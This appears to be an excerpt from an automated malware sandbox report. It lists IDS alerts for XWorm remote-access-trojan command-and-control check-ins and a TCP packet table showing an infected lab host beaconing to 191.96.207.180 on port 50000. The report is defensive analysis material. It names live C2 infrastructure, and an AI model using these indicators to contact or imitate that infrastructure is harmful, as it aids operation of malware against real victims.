2024-09-24T19:27:02.570295+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:02.572088+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:02.896185+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:02.896185+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:09.230985+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:09.273733+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:09.405766+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:09.407178+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:14.570796+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:14.590483+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:20.536912+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:20.575789+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:21.375677+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:21.377498+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:26.491944+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:26.496662+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:26.793587+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:26.795173+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:27.384312+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:27.393845+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:31.000920+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:31.002452+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:31.978866+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:31.980563+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.294184+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.295749+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.415590+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.508165+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.509450+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.601913+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.609303+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:32.889033+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:32.889033+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:37.695102+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:37.697128+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:47.914126+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:47.916305+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:48.008792+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:48.010326+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:48.103507+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:48.105240+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:53.460993+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:53.462880+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:27:53.555306+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:27:53.557408+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:02.917743+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:02.917743+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:04.504619+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:04.513037+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:09.220237+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:09.222074+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:20.190811+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:20.193394+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:26.117597+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:26.119013+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:26.961830+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:26.984322+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:32.943531+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:32.943531+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:33.102594+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:33.102594+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:33.726433+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:33.747633+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:28:40.508134+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:28:40.509105+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 19:24:43.609607935 CEST	49705	443	192.168.2.8	104.26.12.205
Sep 24, 2024 19:24:43.609711885 CEST	443	49705	104.26.12.205	192.168.2.8
Sep 24, 2024 19:24:43.609786034 CEST	49705	443	192.168.2.8	104.26.12.205
Sep 24, 2024 19:24:43.623399973 CEST	49705	443	192.168.2.8	104.26.12.205
Sep 24, 2024 19:24:43.623451948 CEST	443	49705	104.26.12.205	192.168.2.8
Sep 24, 2024 19:24:44.190236092 CEST	443	49705	104.26.12.205	192.168.2.8
Sep 24, 2024 19:24:44.190336943 CEST	49705	443	192.168.2.8	104.26.12.205
Sep 24, 2024 19:24:44.195307016 CEST	49705	443	192.168.2.8	104.26.12.205
Sep 24, 2024 19:24:44.195338011 CEST	443	49705	104.26.12.205	192.168.2.8
Sep 24, 2024 19:24:44.195709944 CEST	443	49705	104.26.12.205	192.168.2.8
Sep 24, 2024 19:24:44.206939936 CEST	49705	443	192.168.2.8	104.26.12.205
Sep 24, 2024 19:24:44.247416973 CEST	443	49705	104.26.12.205	192.168.2.8
Sep 24, 2024 19:24:44.342596054 CEST	443	49705	104.26.12.205	192.168.2.8
Sep 24, 2024 19:24:44.342669964 CEST	443	49705	104.26.12.205	192.168.2.8
Sep 24, 2024 19:24:44.342749119 CEST	49705	443	192.168.2.8	104.26.12.205
Sep 24, 2024 19:24:44.345844984 CEST	49705	443	192.168.2.8	104.26.12.205
Sep 24, 2024 19:24:44.470130920 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:24:44.470185995 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:44.470371008 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:24:44.471358061 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:24:44.471371889 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:45.304044962 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:45.304140091 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:24:45.323116064 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:24:45.323163033 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:45.323452950 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:45.324810028 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:24:45.367408991 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:45.367475033 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:24:45.367489100 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:45.691075087 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:45.696333885 CEST	443	49706	149.154.167.220	192.168.2.8
Sep 24, 2024 19:24:45.696410894 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:24:45.696697950 CEST	49706	443	192.168.2.8	149.154.167.220
Sep 24, 2024 19:25:01.518740892 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:01.524202108 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:01.524310112 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:02.520308018 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:02.525563955 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:02.525705099 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:02.668124914 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:02.672986031 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:13.616506100 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:13.621578932 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:13.791486979 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:13.832773924 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:13.918340921 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:13.923285961 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:24.573697090 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:24.578768015 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:24.748234987 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:24.749845028 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:24.754684925 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:32.877958059 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:32.926623106 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:35.520839930 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:35.525634050 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:35.698559046 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:35.700130939 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:35.705239058 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:46.473735094 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:46.478588104 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:46.648278952 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:46.650252104 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:46.656080961 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:57.427376032 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:57.432904959 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:57.608119965 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:25:57.610207081 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:25:57.614994049 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:02.903691053 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:02.957792044 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:08.380108118 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:08.384902000 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:08.555372000 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:08.556782961 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:08.562067032 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:12.757205963 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:12.762145996 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:12.931936026 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:12.934483051 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:12.939986944 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:15.848714113 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:15.853585958 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:16.023117065 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:16.024588108 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:16.029511929 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:16.051960945 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:16.057401896 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:16.340091944 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:16.341785908 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:16.346699953 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:16.367438078 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:16.372270107 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:16.652648926 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:16.656862020 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:16.662250996 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:17.208209038 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:17.213125944 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:17.382668972 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:17.384377956 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:17.389256001 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.551831961 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:21.557415009 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.614320993 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:21.619064093 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.645690918 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:21.650712013 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.725944996 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.728007078 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:21.732728958 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.820230961 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.821902990 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:21.826602936 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.914187908 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:21.915467978 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:21.920218945 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:25.333178043 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:25.338082075 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:25.507813931 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:25.514615059 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:25.519593954 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:27.020694971 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:27.025480986 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:27.195133924 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:27.196748018 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:27.201562881 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:32.647413015 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:32.678225994 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:33.059012890 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:33.063429117 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:33.104162931 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:33.123572111 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:33.123725891 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:33.135761976 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:37.676804066 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:37.682040930 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:37.851583958 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:37.853316069 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:37.858154058 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:42.754929066 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:42.763094902 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:42.946290016 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:42.951205969 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:42.960642099 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:48.051954031 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:48.056885958 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:48.176891088 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:48.198559999 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:48.233757019 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:48.235683918 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:48.283467054 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:48.381583929 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:48.387411118 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:48.406774998 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.567435026 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:53.603844881 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.661211014 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:53.681118011 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.708246946 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:53.713187933 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.774369001 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.780934095 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:53.785823107 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.873439074 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.875508070 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:53.880289078 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.967824936 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:53.969418049 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:53.974361897 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:58.770603895 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:58.776022911 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:58.946650028 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:26:58.948487043 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:26:58.954081059 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:02.395767927 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:02.400559902 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:02.570295095 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:02.572088003 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:02.576891899 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:02.896184921 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:02.941761017 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:08.943984032 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:09.070439100 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:09.230984926 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:09.231333017 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:09.236200094 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:09.273732901 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:09.278975964 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:09.405766010 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:09.407177925 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:09.412344933 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:14.396128893 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:14.401015997 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:14.570796013 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:14.590482950 CEST	49709	50000	192.168.2.8	191.96.207.180
Sep 24, 2024 19:27:14.595485926 CEST	50000	49709	191.96.207.180	192.168.2.8
Sep 24, 2024 19:27:20.165209055 CEST	49709	50000	192.168.2.8	191.96.207.180
